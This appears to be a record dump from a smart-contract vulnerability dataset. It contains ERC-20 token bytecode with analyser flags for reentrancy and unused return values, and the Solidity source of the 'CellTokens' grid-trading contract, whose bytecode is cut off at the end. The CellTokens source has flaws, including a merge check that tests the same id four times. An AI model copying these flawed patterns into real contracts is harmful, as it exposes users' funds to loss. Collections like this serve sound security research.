0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031f578063c3c8cd801461033f578063c9567bf914610354578063cfe81ba014610369578063dd62ed3e1461038957600080fd5b8063715018a614610274578063842b7c08146102895780638da5cb5b146102a957806395d89b41146102d1578063a9059cbb146102ff57600080fd5b8063273123b7116100e7578063273123b7146101e1578063313ce567146102035780635932ead11461021f5780636fc3eaec1461023f57806370a082311461025457600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268417961746f20496e7560b81b60208201525b60405161015f919061187b565b60405180910390f35b34801561017457600080fd5b50610188610183366004611702565b6103cf565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101886101dc3660046116c1565b6103e6565b3480156101ed57600080fd5b506102016101fc36600461164e565b61044f565b005b34801561020f57600080fd5b506040516009815260200161015f565b34801561022b57600080fd5b5061020161023a3660046117fa565b6104a3565b34801561024b57600080fd5b506102016104eb565b34801561026057600080fd5b506101b361026f36600461164e565b610518565b34801561028057600080fd5b5061020161053a565b34801561029557600080fd5b506102016102a4366004611834565b6105ae565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102dd57600080fd5b50604080518082019091526005815264415941544f60d81b6020820152610152565b34801561030b57600080fd5b5061018861031a366004611702565b610605565b34801561032b57600080fd5b5061020161033a36600461172e565b610612565b34801561034b57600080fd5b506102016106a8565b34801561036057600080fd5b506102016106de565b34801561037557600080fd5b50610201610384366004611834565b610aa7565b34801561039557600080fd5b506101b36103a4366004611688565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103dc338484610afe565b5060015b92915050565b60006103f3848484610c22565b610445843361044085604051806060016040528060288152602001611a67602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f05565b610afe565b5060019392505050565b6000546001600160a01b031633146104825760405162461bcd60e51b8152600401610479906118d0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cd5760405162461bcd60e51b8152600401610479906118d0565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050b57600080fd5b4761051581610f3f565b50565b6001600160a01b0381166000908152600260205260408120546103e090610fc4565b6000546001600160a01b031633146105645760405162461bcd60e51b8152600401610479906118d0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106005760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600a55565b60006103dc338484610c22565b6000546001600160a01b0316331461063c5760405162461bcd60e51b8152600401610479906118d0565b60005b81518110156106a45760016006600084848151811061066057610660611a17565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069c816119e6565b91505061063f565b5050565b600c546001600160a01b0316336001600160a01b0316146106c857600080fd5b60006106d330610518565b905061051581611048565b6000546001600160a01b031633146107085760405162461bcd60e51b8152600401610479906118d0565b600f54600160a01b900460ff16156107625760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a230826b033b2e3c9fd0803ce8000000610afe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107db57600080fd5b505afa1580156107ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610813919061166b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085b57600080fd5b505afa15801561086f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610893919061166b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610913919061166b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094381610518565b6000806109586000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bb57600080fd5b505af11580156109cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f4919061184d565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6f57600080fd5b505af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190611817565b600d546001600160a01b0316336001600160a01b031614610af95760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600b55565b6001600160a01b038316610b605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610bc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610d4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610d7657506000546001600160a01b03838116911614155b15610ef5576001600160a01b03831660009081526006602052604090205460ff16158015610dbd57506001600160a01b03821660009081526006602052604090205460ff16155b610dc657600080fd5b600f546001600160a01b038481169116148015610df15750600e546001600160a01b03838116911614155b8015610e1657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2b5750600f54600160b81b900460ff165b15610e8857601054811115610e3f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6357600080fd5b610e6e42601e611976565b6001600160a01b0383166000908152600760205260409020555b6000610e9330610518565b600f54909150600160a81b900460ff16158015610ebe5750600f546001600160a01b03858116911614155b8015610ed35750600f54600160b01b900460ff165b15610ef357610ee181611048565b478015610ef157610ef147610f3f565b505b505b610f008383836111d1565b505050565b60008184841115610f295760405162461bcd60e51b8152600401610479919061187b565b506000610f3684866119cf565b95945050505050565b600c546001600160a01b03166108fc610f598360026111dc565b6040518115909202916000818181858888f19350505050158015610f81573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9c8360026111dc565b6040518115909202916000818181858888f193505050501580156106a4573d6000803e3d6000fd5b600060085482111561102b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b600061103561121e565b905061104183826111dc565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109057611090611a17565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e457600080fd5b505afa1580156110f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111c919061166b565b8160018151811061112f5761112f611a17565b6001600160a01b039283166020918202929092010152600e546111559130911684610afe565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118e908590600090869030904290600401611905565b600060405180830381600087803b1580156111a857600080fd5b505af11580156111bc573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f00838383611241565b600061104183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611338565b600080600061122b611366565b909250905061123a82826111dc565b9250505090565b600080600080600080611253876113ae565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611285908761140b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b4908661144d565b6001600160a01b0389166000908152600260205260409020556112d6816114ac565b6112e084836114f6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132591815260200190565b60405180910390a3505050505050505050565b600081836113595760405162461bcd60e51b8152600401610479919061187b565b506000610f36848661198e565b60085460009081906b033b2e3c9fd0803ce800000061138582826111dc565b8210156113a5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cb8a600a54600b5461151a565b92509250925060006113db61121e565b905060008060006113ee8e87878761156f565b919e509c509a509598509396509194505050505091939550919395565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f05565b60008061145a8385611976565b9050838110156110415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006114b661121e565b905060006114c483836115bf565b306000908152600260205260409020549091506114e1908261144d565b30600090815260026020526040902055505050565b600854611503908361140b565b600855600954611513908261144d565b6009555050565b6000808080611534606461152e89896115bf565b906111dc565b90506000611547606461152e8a896115bf565b9050600061155f826115598b8661140b565b9061140b565b9992985090965090945050505050565b600080808061157e88866115bf565b9050600061158c88876115bf565b9050600061159a88886115bf565b905060006115ac82611559868661140b565b939b939a50919850919650505050505050565b6000826115ce575060006103e0565b60006115da83856119b0565b9050826115e7858361198e565b146110415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b803561164981611a43565b919050565b60006020828403121561166057600080fd5b813561104181611a43565b60006020828403121561167d57600080fd5b815161104181611a43565b6000806040838503121561169b57600080fd5b82356116a681611a43565b915060208301356116b681611a43565b809150509250929050565b6000806000606084860312156116d657600080fd5b83356116e181611a43565b925060208401356116f181611a43565b929592945050506040919091013590565b6000806040838503121561171557600080fd5b823561172081611a43565b946020939093013593505050565b6000602080838503121561174157600080fd5b823567ffffffffffffffff8082111561175957600080fd5b818501915085601f83011261176d57600080fd5b81358181111561177f5761177f611a2d565b8060051b604051601f19603f830116810181811085821117156117a4576117a4611a2d565b604052828152858101935084860182860187018a10156117c357600080fd5b600095505b838610156117ed576117d98161163e565b8552600195909501949386019386016117c8565b5098975050505050505050565b60006020828403121561180c57600080fd5b813561104181611a58565b60006020828403121561182957600080fd5b815161104181611a58565b60006020828403121561184657600080fd5b5035919050565b60008060006060848603121561186257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a85785810183015185820160400152820161188c565b818111156118ba576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119555784516001600160a01b031683529383019391830191600101611930565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198957611989611a01565b500190565b6000826119ab57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119ca576119ca611a01565b500290565b6000828210156119e1576119e1611a01565b500390565b60006000198214156119fa576119fa611a01565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051557600080fd5b801515811461051557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa6b01c81bccb8ee54866f7bf6e0b7033c8879b919bdfff5ef6b3bfa656f7caa64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,251
0x7f85141f4c463b194017e849db8973c7961476ce
pragma solidity ^0.4.19; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract CellTokens { using SafeMath for uint256; uint8 private constant MAX_COLS = 64; uint8 private constant MAX_ROWS = 160; uint8 private Reserved_upRow = 8; uint8 private Reserved_downRow = 39; uint8 private max_merge_size = 2; event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); address private owner; mapping (address => bool) private admins; bool private erc721Enabled = false; bool private mergeEnabled = false; uint256 private increaseLimit1 = 0.02 ether; uint256 private increaseLimit2 = 0.5 ether; uint256 private increaseLimit3 = 2.0 ether; uint256 private increaseLimit4 = 5.0 ether; uint256 private startingPrice = 0.001 ether; uint256[] private listedItems; mapping (uint256 => address) private ownerOfItem; mapping (uint256 => uint256) private priceOfItem; mapping (address => string) private usernameOfAddress; function CellTokens () public { owner = msg.sender; admins[owner] = true; } /* Modifiers */ modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmins() { require(admins[msg.sender]); _; } modifier onlyERC721() { require(erc721Enabled); _; } modifier onlyMergeEnable(){ require(mergeEnabled); _; } /* Owner */ function setOwner (address _owner) onlyOwner() public { owner = _owner; } function addAdmin (address _admin) onlyOwner() public { admins[_admin] = true; } function removeAdmin (address _admin) onlyOwner() public { delete admins[_admin]; } // Unlocks ERC721 behaviour, allowing for trading on third party platforms. function enableERC721 () onlyOwner() public { erc721Enabled = true; } function enableMerge (bool status) onlyAdmins() public { mergeEnabled = status; } function setReserved(uint8 _up,uint8 _down) onlyAdmins() public{ Reserved_upRow = _up; Reserved_downRow = _down; } function setMaxMerge(uint8 num)onlyAdmins() external{ max_merge_size = num; } /* Withdraw */ /* */ function withdrawAll () onlyOwner() public { owner.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyOwner() public { owner.transfer(_amount); } /* Buying */ function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) { if (_price < increaseLimit1) { return _price.mul(200).div(95); } else if (_price < increaseLimit2) { return _price.mul(135).div(96); } else if (_price < increaseLimit3) { return _price.mul(125).div(97); } else if (_price < increaseLimit4) { return _price.mul(117).div(97); } else { return _price.mul(115).div(98); } } function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) { if (_price < increaseLimit1) { return _price.mul(5).div(100); // 5% } else if (_price < increaseLimit2) { return _price.mul(4).div(100); // 4% } else if (_price < increaseLimit3) { return _price.mul(3).div(100); // 3% } else if (_price < increaseLimit4) { return _price.mul(3).div(100); // 3% } else { return _price.mul(2).div(100); // 2% } } function requestMerge(uint256[] ids)onlyMergeEnable() external { require(ids.length == 4); require(ids[0]%(10**8)/(10**4)<max_merge_size); require(ids[0]%(10**8)/(10**4)<max_merge_size); require(ids[0]%(10**8)/(10**4)<max_merge_size); require(ids[0]%(10**8)/(10**4)<max_merge_size); require(ownerOfItem[ids[0]] == msg.sender); require(ownerOfItem[ids[1]] == msg.sender); require(ownerOfItem[ids[2]] == msg.sender); require(ownerOfItem[ids[3]] == msg.sender); require(ids[0]+ (10**12) == ids[1]); require(ids[0]+ (10**8) == ids[2]); require(ids[0]+ (10**8) + (10**12) == ids[3]); uint256 newPrice = priceOfItem[ids[0]]+priceOfItem[ids[1]]+priceOfItem[ids[2]]+priceOfItem[ids[3]]; uint256 newId = ids[0] + ids[0]%(10**8); listedItems.push(newId); priceOfItem[newId] = newPrice; ownerOfItem[newId] = msg.sender; ownerOfItem[ids[0]] = address(0); ownerOfItem[ids[1]] = address(0); ownerOfItem[ids[2]] = address(0); ownerOfItem[ids[3]] = address(0); } function checkIsOnSale(uint256 _ypos)public view returns(bool isOnSale){ if(_ypos<Reserved_upRow||_ypos>Reserved_downRow){ return false; }else{ return true; } } function generateId(uint256 _xpos,uint256 _ypos,uint256 _size)internal pure returns(uint256 _id){ uint256 temp= _xpos * (10**12) + _ypos * (10**8) + _size*(10**4); return temp; } function parseId(uint256 _id)internal pure returns(uint256 _x,uint256 _y,uint256 _size){ uint256 xpos = _id / (10**12); uint256 ypos = (_id-xpos*(10**12)) / (10**8); uint256 size = _id % (10**5) / (10**4); return (xpos,ypos,size); } function setUserName(string _name)payable public{ require(msg.value >= 0.01 ether); usernameOfAddress[msg.sender] = _name; uint256 excess = msg.value - 0.01 ether; if (excess > 0) { msg.sender.transfer(excess); } } function getUserName()public view returns(string name){ return usernameOfAddress[msg.sender]; } function getUserNameOf(address _user)public view returns(string name){ return usernameOfAddress[_user]; } function buyOld (uint256 _index) payable public { require(_index!=0); require(msg.value >= priceOf(_index)); require(ownerOf(_index) != msg.sender); require(ownerOf(_index) != address(0)); uint256 price = priceOf(_index); address oldOwner = ownerOfItem[_index]; priceOfItem[_index] = calculateNextPrice(price); uint256 excess = msg.value.sub(price); address newOwner = msg.sender; ownerOfItem[_index] = newOwner; uint256 devCut = calculateDevCut(price); oldOwner.transfer(price.sub(devCut)); if (excess > 0) { newOwner.transfer(excess); } } function buyNew (uint256 _xpos,uint256 _ypos,uint256 _size) payable public { require(checkIsOnSale(_ypos) == true); require(_size == 1); require(_xpos + _size <= MAX_COLS); uint256 _itemId = generateId(_xpos,_ypos,_size); require(priceOf(_itemId)==0); uint256 price =startingPrice; address oldOwner = owner; listedItems.push(_itemId); priceOfItem[_itemId] = calculateNextPrice(price); uint256 excess = msg.value.sub(price); address newOwner = msg.sender; ownerOfItem[_itemId] = newOwner; uint256 devCut = calculateDevCut(price); oldOwner.transfer(price.sub(devCut)); if (excess > 0) { newOwner.transfer(excess); } } function MergeStatus() public view returns (bool _MergeOpen) { return mergeEnabled; } /* ERC721 */ function implementsERC721() public view returns (bool _implements) { return erc721Enabled; } function name() public pure returns (string _name) { return "Crypto10K.io"; } function symbol() public pure returns (string _symbol) { return "cells"; } function totalSupply() public view returns (uint256 _totalSupply) { uint256 total = 0; for(uint8 i=0; i<listedItems.length; i++){ if(ownerOf(listedItems[i])!=address(0)){ total++; } } return total; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint256 counter = 0; for (uint8 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return ownerOfItem[_itemId]; } function cellsOf (address _owner) public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint8 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } function getAllCellIds () public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](totalSupply()); uint256 itemCounter = 0; for (uint8 i = 0; i < listedItems.length; i++) { if (ownerOfItem[listedItems[i]] != address(0)) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } /* Read */ function isAdmin (address _admin) public view returns (bool _isAdmin) { return admins[_admin]; } function startingPriceOf () public view returns (uint256 _startingPrice) { return startingPrice; } function priceOf (uint256 _itemId) public view returns (uint256 _price) { return priceOfItem[_itemId]; } function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) { return calculateNextPrice(priceOf(_itemId)); } function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice, uint256 _xpos, uint256 _ypos, uint256 _size) { uint256 xpos; uint256 ypos; uint256 size; (xpos,ypos,size) = parseId(_itemId); return (ownerOfItem[_itemId],startingPriceOf(),priceOf(_itemId),nextPriceOf(_itemId),xpos,ypos,size); } function getAllCellInfo()external view returns(uint256[] _tokenIds,uint256[] _prices, address[] _owners){ uint256[] memory items = new uint256[](totalSupply()); uint256[] memory prices = new uint256[](totalSupply()); address[] memory owners = new address[](totalSupply()); uint256 itemCounter = 0; for (uint8 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) !=address(0)) { items[itemCounter] = listedItems[i]; prices[itemCounter] = priceOf(listedItems[i]); owners[itemCounter] = ownerOf(listedItems[i]); itemCounter += 1; } } return (items,prices,owners); } function getMaxMerge()external view returns(uint256 _maxMergeSize){ return max_merge_size; } function showBalance () onlyAdmins() public view returns (uint256 _ProfitBalance) { return this.balance; } }
0x6060604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630253a95a146101bc5780630562b9f7146101e557806306fdde03146102085780630cb743a5146102965780631051db34146102ae57806312958f1c146102db57806313af4035146103695780631785f53c146103a257806318160ddd146103db57806324d30d541461040457806324d7806c146104295780632b5914fe1461047a5780632e4f43bf146104cc5780633cf3d6d8146105595780635ba9e48e146106535780635cee9ea71461068a5780636352211e146106b457806365121205146107175780636b45adf31461074e57806370480275146107dc57806370a082311461081557806371dc761e1461086257806376897b901461087757806381b2d07b146108a9578063853828b6146108d257806395d89b41146108e7578063a882660214610975578063ab99e48f146109df578063b10d539b14610a0d578063b9186d7d14610a3a578063d3f71ecc14610a71578063d5cc881314610aac578063e08503ec14610ad5578063e69852d014610b0c578063fb7cb85014610bbe575b600080fd5b34156101c757600080fd5b6101cf610be4565b6040518082815260200191505060405180910390f35b34156101f057600080fd5b6102066004808035906020019091905050610bfd565b005b341561021357600080fd5b61021b610cbe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025b578082015181840152602081019050610240565b50505050905090810190601f1680156102885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ac6004808035906020019091905050610d01565b005b34156102b957600080fd5b6102c1610f30565b604051808215151515815260200191505060405180910390f35b34156102e657600080fd5b6102ee610f47565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032e578082015181840152602081019050610313565b50505050905090810190601f16801561035b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561037457600080fd5b6103a0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061102c565b005b34156103ad57600080fd5b6103d9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110cc565b005b34156103e657600080fd5b6103ee61117a565b6040518082815260200191505060405180910390f35b341561040f57600080fd5b61042760048080351515906020019091905050611210565b005b341561043457600080fd5b610460600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611285565b604051808215151515815260200191505060405180910390f35b6104ca600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506112db565b005b34156104d757600080fd5b6104ed60048080359060200190919050506113a1565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200187815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390f35b341561056457600080fd5b61056c611432565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156105b757808201518184015260208101905061059c565b50505050905001848103835286818151815260200191508051906020019060200280838360005b838110156105f95780820151818401526020810190506105de565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561063b578082015181840152602081019050610620565b50505050905001965050505050505060405180910390f35b341561065e57600080fd5b6106746004808035906020019091905050611664565b6040518082815260200191505060405180910390f35b6106b2600480803590602001909190803590602001909190803590602001909190505061167e565b005b34156106bf57600080fd5b6106d56004808035906020019091905050611879565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561072257600080fd5b61073860048080359060200190919050506118b6565b6040518082815260200191505060405180910390f35b341561075957600080fd5b610785600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107c85780820151818401526020810190506107ad565b505050509050019250505060405180910390f35b34156107e757600080fd5b610813600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ace565b005b341561082057600080fd5b61084c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b84565b6040518082815260200191505060405180910390f35b341561086d57600080fd5b610875611c1a565b005b341561088257600080fd5b6108a7600480803560ff1690602001909190803560ff16906020019091905050611c93565b005b34156108b457600080fd5b6108bc611d24565b6040518082815260200191505060405180910390f35b34156108dd57600080fd5b6108e5611d9b565b005b34156108f257600080fd5b6108fa611e72565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561093a57808201518184015260208101905061091f565b50505050905090810190601f1680156109675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561098057600080fd5b610988611eb5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109cb5780820151818401526020810190506109b0565b505050509050019250505060405180910390f35b34156109ea57600080fd5b610a0b60048080359060200190820180359060200191909192905050611fe6565b005b3415610a1857600080fd5b610a20612744565b604051808215151515815260200191505060405180910390f35b3415610a4557600080fd5b610a5b600480803590602001909190505061275b565b6040518082815260200191505060405180910390f35b3415610a7c57600080fd5b610a926004808035906020019091905050612778565b604051808215151515815260200191505060405180910390f35b3415610ab757600080fd5b610abf6127c2565b6040518082815260200191505060405180910390f35b3415610ae057600080fd5b610af660048080359060200190919050506127cc565b6040518082815260200191505060405180910390f35b3415610b1757600080fd5b610b43600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b83578082015181840152602081019050610b68565b50505050905090810190601f168015610bb05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610bc957600080fd5b610be2600480803560ff169060200190919050506129c4565b005b60008060029054906101000a900460ff1660ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c5957600080fd5b600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610cbb57600080fd5b50565b610cc6612b37565b6040805190810160405280600c81526020017f43727970746f31304b2e696f0000000000000000000000000000000000000000815250905090565b6000806000806000808614151515610d1857600080fd5b610d218661275b565b3410151515610d2f57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16610d4f87611879565b73ffffffffffffffffffffffffffffffffffffffff1614151515610d7257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16610d9387611879565b73ffffffffffffffffffffffffffffffffffffffff1614151515610db657600080fd5b610dbf8661275b565b94506009600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350610e00856127cc565b600a600088815260200190815260200160002081905550610e2a8534612a3a90919063ffffffff16565b9250339150816009600088815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e8a856118b6565b90508373ffffffffffffffffffffffffffffffffffffffff166108fc610eb98388612a3a90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501515610ede57600080fd5b6000831115610f28578173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515610f2757600080fd5b5b505050505050565b6000600260009054906101000a900460ff16905090565b610f4f612b37565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110225780601f10610ff757610100808354040283529160200191611022565b820191906000526020600020905b81548152906001019060200180831161100557829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561108857600080fd5b80600060036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561112857600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000806000809150600090505b6008805490508160ff16101561120857600073ffffffffffffffffffffffffffffffffffffffff166111d560088360ff168154811015156111c457fe5b906000526020600020900154611879565b73ffffffffffffffffffffffffffffffffffffffff161415156111fb5781806001019250505b8080600101915050611187565b819250505090565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561126857600080fd5b80600260016101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000662386f26fc1000034101515156112f357600080fd5b81600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190611346929190612b4b565b50662386f26fc1000034039050600081111561139d573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1